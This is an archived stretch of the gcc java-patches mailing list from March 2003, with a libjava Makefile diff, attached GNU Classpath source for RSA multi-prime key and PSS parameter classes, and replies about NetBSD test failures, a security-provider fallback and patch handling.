-wb -B Makefile.am (in directory /data/workspace/cvs/gcc/= libjava/) Index: Makefile.am =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.284 diff -u -w -b -B -r1.284 Makefile.am --- Makefile.am=093 Mar 2003 14:36:48 -0000=091.284 +++ Makefile.am=094 Mar 2003 12:06:44 -0000 @@ -2349,6 +2349,7 @@ java/security/interfaces/RSAPrivateCrtKey.java \ java/security/interfaces/RSAPrivateKey.java \ java/security/interfaces/RSAPublicKey.java \ +java/security/interfaces/RSAMultiPrimePrivateCrtKey.java \ java/security/spec/AlgorithmParameterSpec.java \ java/security/spec/DSAParameterSpec.java \ java/security/spec/DSAPrivateKeySpec.java \ @@ -2358,7 +2359,10 @@ java/security/spec/InvalidParameterSpecException.java \ java/security/spec/KeySpec.java \ java/security/spec/PKCS8EncodedKeySpec.java \ +java/security/spec/PSSParameterSpec.java \ java/security/spec/RSAKeyGenParameterSpec.java \ +java/security/spec/RSAMultiPrimePrivateCrtKeySpec.java \ +java/security/spec/RSAOtherPrimeInfo.java \ java/security/spec/RSAPrivateCrtKeySpec.java \ java/security/spec/RSAPrivateKeySpec.java \ java/security/spec/RSAPublicKeySpec.java \ cvs -z9 diff -u -wb -B Makefile.in (in directory /data/workspace/cvs/gcc/= libjava/) Index: Makefile.in =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/Makefile.in,v retrieving revision 1.305 diff -u -w -b -B -r1.305 Makefile.in --- Makefile.in=093 Mar 2003 14:36:48 -0000=091.305 +++ Makefile.in=094 Mar 2003 12:09:23 -0000 @@ -761,6 +761,7 @@ java/awt/peer/MenuPeer.java \ java/awt/peer/PanelPeer.java \ java/awt/peer/PopupMenuPeer.java \ +java/awt/peer/RobotPeer.java \ java/awt/peer/ScrollPanePeer.java \ java/awt/peer/ScrollbarPeer.java \ java/awt/peer/TextAreaPeer.java \ @@ -2110,6 +2111,7 @@ java/security/interfaces/RSAPrivateCrtKey.java \ java/security/interfaces/RSAPrivateKey.java \ java/security/interfaces/RSAPublicKey.java \ +java/security/interfaces/RSAMultiPrimePrivateCrtKey.java \ java/security/spec/AlgorithmParameterSpec.java \ java/security/spec/DSAParameterSpec.java \ java/security/spec/DSAPrivateKeySpec.java \ @@ -2119,7 +2121,10 @@ java/security/spec/InvalidParameterSpecException.java \ java/security/spec/KeySpec.java \ java/security/spec/PKCS8EncodedKeySpec.java \ +java/security/spec/PSSParameterSpec.java \ java/security/spec/RSAKeyGenParameterSpec.java \ +java/security/spec/RSAMultiPrimePrivateCrtKeySpec.java \ +java/security/spec/RSAOtherPrimeInfo.java \ java/security/spec/RSAPrivateCrtKeySpec.java \ java/security/spec/RSAPrivateKeySpec.java \ java/security/spec/RSAPublicKeySpec.java \ @@ -3183,7 +3188,7 @@ .deps/java/awt/peer/MenuComponentPeer.P \ .deps/java/awt/peer/MenuItemPeer.P .deps/java/awt/peer/MenuPeer.P \ .deps/java/awt/peer/PanelPeer.P .deps/java/awt/peer/PopupMenuPeer.P \ -.deps/java/awt/peer/ScrollPanePeer.P \ +.deps/java/awt/peer/RobotPeer.P .deps/java/awt/peer/ScrollPanePeer.P \ .deps/java/awt/peer/ScrollbarPeer.P .deps/java/awt/peer/TextAreaPeer.P \ .deps/java/awt/peer/TextComponentPeer.P \ .deps/java/awt/peer/TextFieldPeer.P .deps/java/awt/peer/WindowPeer.P \ @@ -3598,6 +3603,7 @@ .deps/java/security/interfaces/DSAPrivateKey.P \ .deps/java/security/interfaces/DSAPublicKey.P \ .deps/java/security/interfaces/RSAKey.P \ +.deps/java/security/interfaces/RSAMultiPrimePrivateCrtKey.P \ .deps/java/security/interfaces/RSAPrivateCrtKey.P \ .deps/java/security/interfaces/RSAPrivateKey.P \ .deps/java/security/interfaces/RSAPublicKey.P \ @@ -3610,7 +3616,10 @@ .deps/java/security/spec/InvalidParameterSpecException.P \ .deps/java/security/spec/KeySpec.P \ .deps/java/security/spec/PKCS8EncodedKeySpec.P \ +.deps/java/security/spec/PSSParameterSpec.P \ .deps/java/security/spec/RSAKeyGenParameterSpec.P \ +.deps/java/security/spec/RSAMultiPrimePrivateCrtKeySpec.P \ +.deps/java/security/spec/RSAOtherPrimeInfo.P \ .deps/java/security/spec/RSAPrivateCrtKeySpec.P \ .deps/java/security/spec/RSAPrivateKeySpec.P \ .deps/java/security/spec/RSAPublicKeySpec.P \ --------------Boundary-00=_V15885FHSO2KU1ADBIER Content-Type: text/x-java; charset="us-ascii"; name="RSAMultiPrimePrivateCrtKey.java" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="RSAMultiPrimePrivateCrtKey.java" /* RSAMultiPrimePrivateCrtKey.java -- Copyright (C) 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. GNU Classpath is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. GNU Classpath is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with GNU Classpath; see the file COPYING. If not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. Linking this library statically or dynamically with other modules is making a combined work based on this library. Thus, the terms and conditions of the GNU General Public License cover the whole combination. As a special exception, the copyright holders of this library give you permission to link this library with independent modules to produce an executable, regardless of the license terms of these independent modules, and to copy and distribute the resulting executable under terms of your choice, provided that you also meet, for each linked independent module, the terms and conditions of the license of that module. An independent module is a module which is not derived from or based on this library. If you modify this library, you may extend this exception to your version of the library, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version. */ package java.security.interfaces; import java.math.BigInteger; import java.security.spec.RSAOtherPrimeInfo; /** * The interface to an RSA multi-prime private key, as defined in the PKCS#1 * v2.1, using the Chinese Remainder Theorem (CRT) information values. * * @since 1.4 * @see java.security.spec.RSAPrivateKeySpec * @see java.security.spec.RSAMultiPrimePrivateCrtKeySpec * @see RSAPrivateKey * @see RSAPrivateCrtKey */ public interface RSAMultiPrimePrivateCrtKey extends RSAPrivateKey { // Constants // -------------------------------------------------------------------------- // Methods // -------------------------------------------------------------------------- /** * Returns the public exponent. * * @return the public exponent. */ BigInteger getPublicExponent(); /** * Returns the primeP. * * @return the primeP. */ BigInteger getPrimeP(); /** * Returns the primeQ. * * @return the primeQ. */ BigInteger getPrimeQ(); /** * Returns the primeExponentP. * * @return the primeExponentP. */ BigInteger getPrimeExponentP(); /** * Returns the primeExponentQ. * * @return the primeExponentQ. */ BigInteger getPrimeExponentQ(); /** * Returns the crtCoefficient. * * @return the crtCoefficient. */ BigInteger getCrtCoefficient(); /** * Returns the otherPrimeInfo or null if there are only two * prime factors (p and q). * * @return the otherPrimeInfo. */ RSAOtherPrimeInfo[] getOtherPrimeInfo(); } --------------Boundary-00=_V15885FHSO2KU1ADBIER Content-Type: text/x-java; charset="us-ascii"; name="PSSParameterSpec.java" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="PSSParameterSpec.java" /* PSSParameterSpec.java -- Copyright (C) 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. GNU Classpath is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. GNU Classpath is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with GNU Classpath; see the file COPYING. If not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. Linking this library statically or dynamically with other modules is making a combined work based on this library. Thus, the terms and conditions of the GNU General Public License cover the whole combination. As a special exception, the copyright holders of this library give you permission to link this library with independent modules to produce an executable, regardless of the license terms of these independent modules, and to copy and distribute the resulting executable under terms of your choice, provided that you also meet, for each linked independent module, the terms and conditions of the license of that module. An independent module is a module which is not derived from or based on this library. If you modify this library, you may extend this exception to your version of the library, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version. */ package java.security.spec; /** * This class specifies a parameter spec for RSA PSS encoding scheme, as * defined in the PKCS#1 v2.1. * * @since 1.4 * @see AlgorithmParameterSpec * @see java.security.Signature */ public class PSSParameterSpec implements AlgorithmParameterSpec { // Constants and fields // -------------------------------------------------------------------------- private int saltLen; // Constructor(s) // -------------------------------------------------------------------------- /** * Creates a new PSSParameterSpec given the salt length as * defined in PKCS#1. * * @param saltLen the length of salt in bits to be used in PKCS#1 PSS encoding. * @throws IllegalArgumentException if saltLen is less than * 0. */ public PSSParameterSpec(int saltLen) { super(); if (saltLen < 0) throw new IllegalArgumentException(); this.saltLen = saltLen; } // Class methods // -------------------------------------------------------------------------- // Instance methods // -------------------------------------------------------------------------- /** * Returns the salt length in bits. * * @return the salt length. */ public int getSaltLength() { return this.saltLen; } } --------------Boundary-00=_V15885FHSO2KU1ADBIER Content-Type: text/x-java; charset="us-ascii"; name="RSAMultiPrimePrivateCrtKeySpec.java" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="RSAMultiPrimePrivateCrtKeySpec.java" /* PSSParameterSpec.java -- Copyright (C) 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. GNU Classpath is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. GNU Classpath is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with GNU Classpath; see the file COPYING. If not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. Linking this library statically or dynamically with other modules is making a combined work based on this library. Thus, the terms and conditions of the GNU General Public License cover the whole combination. As a special exception, the copyright holders of this library give you permission to link this library with independent modules to produce an executable, regardless of the license terms of these independent modules, and to copy and distribute the resulting executable under terms of your choice, provided that you also meet, for each linked independent module, the terms and conditions of the license of that module. An independent module is a module which is not derived from or based on this library. If you modify this library, you may extend this exception to your version of the library, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version. */ package java.security.spec; import java.math.BigInteger; import java.security.spec.RSAOtherPrimeInfo; /** * This class specifies an RSA multi-prime private key, as defined in the * PKCS#1 v2.1, using the Chinese Remainder Theorem (CRT) information * values for efficiency. * * @since 1.4 * @see java.security.Key * @see java.security.KeyFactory * @see KeySpec * @see PKCS8EncodedKeySpec * @see RSAPrivateKeySpec * @see RSAPublicKeySpec * @see RSAOtherPrimeInfo */ public class RSAMultiPrimePrivateCrtKeySpec extends RSAPrivateKeySpec { // Constants and fields // -------------------------------------------------------------------------- private BigInteger publicExponent; private BigInteger primeP; private BigInteger primeQ; private BigInteger primeExponentP; private BigInteger primeExponentQ; private BigInteger crtCoefficient; private RSAOtherPrimeInfo[] otherPrimeInfo; // Constructor(s) // -------------------------------------------------------------------------- /** *

          Creates a new RSAMultiPrimePrivateCrtKeySpec given the * modulus, publicExponent, privateExponent, primeP, primeQ, primeExponentP, * primeExponentQ, crtCoefficient, and otherPrimeInfo as defined in PKCS#1 * v2.1.

          * *

          Note that otherPrimeInfo is cloned when constructing this * object.

          * * @param modulus the modulus n. * @param publicExponent the public exponent e. * @param privateExponent the private exponent d. * @param primeP the prime factor p of n. * @param primeQ the prime factor q of n. * @param primeExponentP this is d mod (p-1). * @param primeExponentQ this is d mod (q-1). * @param crtCoefficient the Chinese Remainder Theorem coefficient q-1 mod p. * @param otherPrimeInfo triplets of the rest of primes, null * can be specified if there are only two prime factors (p and q). * @throws NullPointerException if any of the parameters, i.e. modulus, * publicExponent, privateExponent, primeP, primeQ, primeExponentP, * primeExponentQ, crtCoefficient, is null. * @throws IllegalArgumentException if an empty, i.e. 0-length, * otherPrimeInfo is specified. */ public RSAMultiPrimePrivateCrtKeySpec(BigInteger modulus, BigInteger publicExponent, BigInteger privateExponent, BigInteger primeP, BigInteger primeQ, BigInteger primeExponentP, BigInteger primeExponentQ, BigInteger crtCoefficient, RSAOtherPrimeInfo[] otherPrimeInfo) { super(modulus, privateExponent); if (modulus == null) throw new NullPointerException("modulus"); if (publicExponent == null) throw new NullPointerException("publicExponent"); if (privateExponent == null) throw new NullPointerException("privateExponent"); if (primeP == null) throw new NullPointerException("primeP"); if (primeQ == null) throw new NullPointerException("primeQ"); if (primeExponentP == null) throw new NullPointerException("primeExponentP"); if (primeExponentQ == null) throw new NullPointerException("primeExponentQ"); if (crtCoefficient == null) throw new NullPointerException("crtCoefficient"); if (otherPrimeInfo != null) if (otherPrimeInfo.length == 0) throw new IllegalArgumentException(); else this.otherPrimeInfo = (RSAOtherPrimeInfo[]) otherPrimeInfo.clone(); this.publicExponent = publicExponent; this.primeP = primeP; this.primeQ = primeQ; this.primeExponentP = primeExponentP; this.primeExponentQ = primeExponentQ; this.crtCoefficient = crtCoefficient; } // Class methods // -------------------------------------------------------------------------- // Instance methods // -------------------------------------------------------------------------- /** * Returns the public exponent. * * @return the public exponent. */ public BigInteger getPublicExponent() { return this.publicExponent; } /** * Returns the primeP. * * @return the primeP. */ public BigInteger getPrimeP() { return this.primeP; } /** * Returns the primeQ. * * @return the primeQ. */ public BigInteger getPrimeQ() { return this.primeQ; } /** * Returns the primeExponentP. * * @return the primeExponentP. */ public BigInteger getPrimeExponentP() { return this.primeExponentP; } /** * Returns the primeExponentQ. * * @return the primeExponentQ. */ public BigInteger getPrimeExponentQ() { return this.primeExponentQ; } /** * Returns the crtCoefficient. * * @return the crtCoefficient. */ public BigInteger getCrtCoefficient() { return this.crtCoefficient; } /** * Returns a copy of the otherPrimeInfo or null if there are * only two prime factors (p and q). * * @return the otherPrimeInfo. */ public RSAOtherPrimeInfo[] getOtherPrimeInfo() { return this.otherPrimeInfo == null ? null : (RSAOtherPrimeInfo[]) this.otherPrimeInfo.clone(); } } --------------Boundary-00=_V15885FHSO2KU1ADBIER Content-Type: text/x-java; charset="us-ascii"; name="RSAOtherPrimeInfo.java" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="RSAOtherPrimeInfo.java" /* RSAOtherPrimeInfo.java -- Copyright (C) 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. GNU Classpath is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. GNU Classpath is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with GNU Classpath; see the file COPYING. If not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. Linking this library statically or dynamically with other modules is making a combined work based on this library. Thus, the terms and conditions of the GNU General Public License cover the whole combination. As a special exception, the copyright holders of this library give you permission to link this library with independent modules to produce an executable, regardless of the license terms of these independent modules, and to copy and distribute the resulting executable under terms of your choice, provided that you also meet, for each linked independent module, the terms and conditions of the license of that module. An independent module is a module which is not derived from or based on this library. If you modify this library, you may extend this exception to your version of the library, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version. */ package java.security.spec; import java.math.BigInteger; /** * This class represents the triplet (prime, exponent, and coefficient) inside * RSA's OtherPrimeInfo structure, as defined in the PKCS#1 v2.1. The ASN.1 * syntax of RSA's OtherPrimeInfo is as follows: * *
           *  OtherPrimeInfo ::= SEQUENCE {
           *    prime INTEGER,
           *    exponent INTEGER,
           *    coefficient INTEGER
           *  }
           * 
          * * @since 1.4 * @see RSAPrivateCrtKeySpec * @see java.security.interfaces.RSAMultiPrimePrivateCrtKey */ public class RSAOtherPrimeInfo { // Constants and fields // -------------------------------------------------------------------------- private BigInteger prime; private BigInteger primeExponent; private BigInteger crtCoefficient; // Constructor(s) // -------------------------------------------------------------------------- /** * Creates a new RSAOtherPrimeInfo given the prime, * primeExponent, and crtCoefficient as defined in PKCS#1. * * @param prime the prime factor of n. * @param primeExponent the exponent. * @param crtCoefficient the Chinese Remainder Theorem coefficient. * @throws NullPointerException if any of the parameters, i.e. prime, * primeExponent, crtCoefficient, is null. */ public RSAOtherPrimeInfo(BigInteger prime, BigInteger primeExponent, BigInteger crtCoefficient) { super(); if (prime == null) throw new NullPointerException("prime"); if (primeExponent == null) throw new NullPointerException("primeExponent"); if (crtCoefficient == null) throw new NullPointerException("crtCoefficient"); this.prime = prime; this.primeExponent = primeExponent; this.crtCoefficient = crtCoefficient; } // Class methods // -------------------------------------------------------------------------- // Instance methods // -------------------------------------------------------------------------- /** * Returns the prime. * * @return the prime. */ public final BigInteger getPrime() { return this.prime; } /** * Returns the prime's exponent. * * @return the primeExponent. */ public final BigInteger getExponent() { return this.primeExponent; } /** * Returns the prime's crtCoefficient. * * @return the crtCoefficient. */ public final BigInteger getCrtCoefficient() { return this.crtCoefficient; } } --------------Boundary-00=_V15885FHSO2KU1ADBIER-- From java-patches-return-6376-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 05 03:05:44 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29928 invoked by alias); 5 Mar 2003 03:05:44 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29888 invoked from network); 5 Mar 2003 03:05:43 -0000 Received: from unknown (HELO yeah-baby.shagadelic.org) (208.176.2.162) by 172.16.49.205 with SMTP; 5 Mar 2003 03:05:43 -0000 Received: by yeah-baby.shagadelic.org (Postfix, from userid 2158) id 3D7D67DA4; Tue, 4 Mar 2003 19:05:41 -0800 (PST) Date: Tue, 4 Mar 2003 19:05:41 -0800 From: Jason R Thorpe To: Tom Tromey Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: [libjava PATCH] Conditionalize use of thread priority scheduling Message-ID: <20030305030540.GA19649@yeah-baby.shagadelic.org> Mail-Followup-To: Jason R Thorpe , Tom Tromey , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org References: <20030228000420.GA12006@yeah-baby.shagadelic.org> <873cm6skn5.fsf@fleche.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <873cm6skn5.fsf@fleche.redhat.com> User-Agent: Mutt/1.4i Organization: Wasabi Systems, Inc. On Sat, Mar 01, 2003 at 04:59:58PM -0700, Tom Tromey wrote: > How well does libgcj do on NetBSD? This is from sources about a week old (including the fix I posted): === libjava tests === Running target unix FAIL: FileHandleGcTest execution - source compiled test FAIL: FileHandleGcTest execution - gij test FAIL: FileHandleGcTest execution - bytecode->native test FAIL: FileHandleGcTest -O execution - source compiled test FAIL: FileHandleGcTest execution - gij test FAIL: FileHandleGcTest -O execution - bytecode->native test FAIL: SyncGlobal -O execution - bytecode->native test FAIL: SyncTest execution - gij test FAIL: SyncTest execution - bytecode->native test FAIL: SyncTest execution - gij test FAIL: SyncTest -O execution - bytecode->native test FAIL: Thread_Interrupt execution - source compiled test FAIL: Thread_Interrupt execution - gij test FAIL: Thread_Interrupt execution - bytecode->native test FAIL: Thread_Interrupt -O execution - source compiled test FAIL: Thread_Interrupt execution - gij test FAIL: Thread_Interrupt -O execution - bytecode->native test FAIL: Thread_Wait_2 -O execution - bytecode->native test FAIL: Throw_2 execution - source compiled test FAIL: Throw_2 execution - gij test FAIL: Throw_2 execution - bytecode->native test FAIL: Throw_2 -O execution - source compiled test FAIL: Throw_2 execution - gij test FAIL: Throw_2 -O execution - bytecode->native test FAIL: /FSF/gcc/build/wasabi-i386-i386-2.0/i386-wasabi-netbsdelf2.0/libjava/tests uite/TestEarlyGC.exe execution - /FSF/gcc/build/wasabi-i386-i386-2.0/i386-wasabi -netbsdelf2.0/libjava/testsuite/TestEarlyGC.exe FAIL: /FSF/gcc/build/wasabi-i386-i386-2.0/i386-wasabi-netbsdelf2.0/libjava/tests uite/TestLeak.exe execution - /FSF/gcc/build/wasabi-i386-i386-2.0/i386-wasabi-ne tbsdelf2.0/libjava/testsuite/TestLeak.exe === libjava Summary === # of expected passes 2891 # of unexpected failures 26 # of expected failures 16 # of untested testcases 38 Some of these should go away once I make boehm-gc grok NetBSD's pthreads. -- -- Jason R. Thorpe From java-patches-return-6377-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 06 02:38:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31495 invoked by alias); 6 Mar 2003 02:38:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31485 invoked from network); 6 Mar 2003 02:38:34 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 6 Mar 2003 02:38:34 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id TAA13794; Wed, 5 Mar 2003 19:38:32 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id CB2A44F8610; Wed, 5 Mar 2003 19:30:53 -0700 (MST) To: Mark Wielaard Cc: java-patches@gcc.gnu.org Subject: Re: Security provider fallback References: <1046629565.19771.561.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: HUMAN REPLICAS are inserted into VATS of NUTRITIONAL YEAST... Date: 05 Mar 2003 19:30:53 -0700 In-Reply-To: <1046629565.19771.561.camel@elsschot> Message-ID: <87adg98bvm.fsf@fleche.redhat.com> Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> The following prints a warning when non of the security provider files Mark> could be read or non of them contain any valid entries and falls back to Mark> the standard Gnu provider. If the security provider files do exist, but Mark> just don't contain any provider the user gets what was asked for. Mark> This helps in situations where the security file is missing or not Mark> correctly installed (which seems to happen often with VMs). It also Mark> fixes a couple of Mauve failures that would happen if you did a make Mark> check without a make install first (and no old installation was Mark> available) like most autobuilders do. My first inclination is not to do this. The class library is a library; printing to stderr like this is a bit unfriendly. It seems to violate the bounds of what a library ought to do. I'd like to know more about the situation that lead up to this patch. I assume you ran into some trouble? I don't like to say "no", but at least in this case I need to be convinced. Mark> WARNING: could not properly read security provider files: Mark> file:///usr/local/gcc34/lib/security/libgcj.security Mark> file:///usr/local/gcc34/lib/security/classpath.security Mark> Falling back to standard GNU security provider The wording is fine. Tom From java-patches-return-6378-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 07 04:40:19 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15909 invoked by alias); 7 Mar 2003 04:40:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15901 invoked from network); 7 Mar 2003 04:40:18 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 7 Mar 2003 04:40:18 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA12076; Thu, 6 Mar 2003 21:40:16 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 5E09C4F8610; Thu, 6 Mar 2003 21:32:52 -0700 (MST) To: "Ranjit Mathew" Cc: Subject: Re: Patch: jcf-path.c and filename case-insensitivity on Win32 References: <3E591729.9FEFF8B1@hotmail.com> <87wujislt1.fsf@fleche.redhat.com> <3E625174.E1C6C5B3@hotmail.com> <15971.13325.973960.371375@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I fill MY industrial waste containers with old copies of the ``WATCHTOWER'' and then add HAWAIIAN PUNCH to the top.. They look NICE in the yard-- Date: 06 Mar 2003 21:32:51 -0700 In-Reply-To: Message-ID: <871y1j23v0.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: >> > + /* On case-insensitive file systems, file name components must be >> > + compared using "strcasecmp", if available, instead of "strcmp". >> > + Assumes "config.h" has already been included. */ I've checked in the final version of this patch to 3.3 and trunk. Tom From java-patches-return-6379-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 07 04:45:38 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17242 invoked by alias); 7 Mar 2003 04:45:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17235 invoked from network); 7 Mar 2003 04:45:38 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 7 Mar 2003 04:45:38 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA12862; Thu, 6 Mar 2003 21:45:29 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4FE7C4F8610; Thu, 6 Mar 2003 21:38:01 -0700 (MST) To: raif@fl.net.au Cc: GCC libjava patches Subject: Re: java.security.AlgorithmParamterGenerator.java References: <200303021715.11260.raif@fl.net.au> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I wonder if I should put myself in ESCROW!! Date: 06 Mar 2003 21:38:01 -0700 In-Reply-To: <200303021715.11260.raif@fl.net.au> Message-ID: <87wujbzt92.fsf@fleche.redhat.com> Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Raif" == Raif S Naffah writes: Raif> this patch addresses JDK 1.4 compatibility. I spot-checked a few of these patches and nothing problematic stood out. Can you check them in to Classpath? I will put them in gcj. Raif> + * java.security.AlgorithmParameterGenerator: formatting + documentation We prefer reformatting to be done as a separate patch. This makes it easier to see the "real" changes. Tom From java-patches-return-6380-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 07 08:19:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13883 invoked by alias); 7 Mar 2003 08:19:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13828 invoked from network); 7 Mar 2003 08:19:32 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 7 Mar 2003 08:19:32 -0000 Received: from solomon (a3-p36.syd.fl.net.au [202.181.1.100]) by delenn.fl.net.au (Postfix) with ESMTP id 1349617FA12; Fri, 7 Mar 2003 19:26:32 +1100 (EST) Content-Type: text/plain; charset="iso-8859-1" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: tromey@redhat.com Subject: Re: java.security.AlgorithmParamterGenerator.java Date: Fri, 7 Mar 2003 19:21:36 +1100 User-Agent: KMail/1.4.3 Cc: GCC libjava patches References: <200303021715.11260.raif@fl.net.au> <87wujbzt92.fsf@fleche.redhat.com> In-Reply-To: <87wujbzt92.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303071921.48816.raif@fl.net.au> -----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 On Friday 07 March 2003 15:38, Tom Tromey wrote: > >>>>> "Raif" =3D=3D Raif S Naffah writes: > Raif> this patch addresses JDK 1.4 compatibility. > > I spot-checked a few of these patches and nothing problematic stood > out. Can you check them in to Classpath? I will put them in gcj. ok. thanks. > Raif> +=09* java.security.AlgorithmParameterGenerator: formatting + > documentation > > We prefer reformatting to be done as a separate patch. > This makes it easier to see the "real" changes. noted. i'll separate them into two checkins. i'm also in the process=20 of writing Mauve tests for these patches. q/ since most of these are for new methods and some for new classes and=20 interfaces, is there a special procedure to specify this in the Mauve=20 tests; ie. include the new tests iff the new classes/interfaces/methods=20 are checked out? cheers; rsn -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 